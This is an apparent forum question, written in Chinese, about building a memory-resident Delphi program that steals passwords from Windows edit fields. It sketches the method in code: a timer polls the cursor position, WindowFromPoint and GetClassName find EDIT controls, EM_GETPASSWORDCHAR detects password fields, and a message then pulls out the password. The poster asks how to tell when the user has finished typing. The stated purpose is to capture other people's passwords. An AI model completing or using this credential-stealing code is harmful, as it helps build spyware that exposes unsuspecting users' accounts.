动态抓密码的问题
我最近对动态抓密码特感兴趣,我想写一个常驻内存的专抓****的程序,原理大致这样:设一个Timer,每过500毫秒时,用GetCursorPos(t_Point);获取当前光标位置。
然后用t_Handle := WindowFromPoint(t_Point);获取当前光标处的窗口或控件句柄。
再用GetClassName(t_Handle, t_ClassName, 255);获得ClassName.
if pos('EDIT',UpperCase(StrPas(t_ClassName))) > 0 then
t_Char := Char (SendMessage(t_Handle, EM_GETPASSWORDCHAR, 0, 0));
if t_Char <> #0 then 发消息抓密码。
我的问题是:当电脑用户正在输入****时,如何判断他是否已经输入完毕?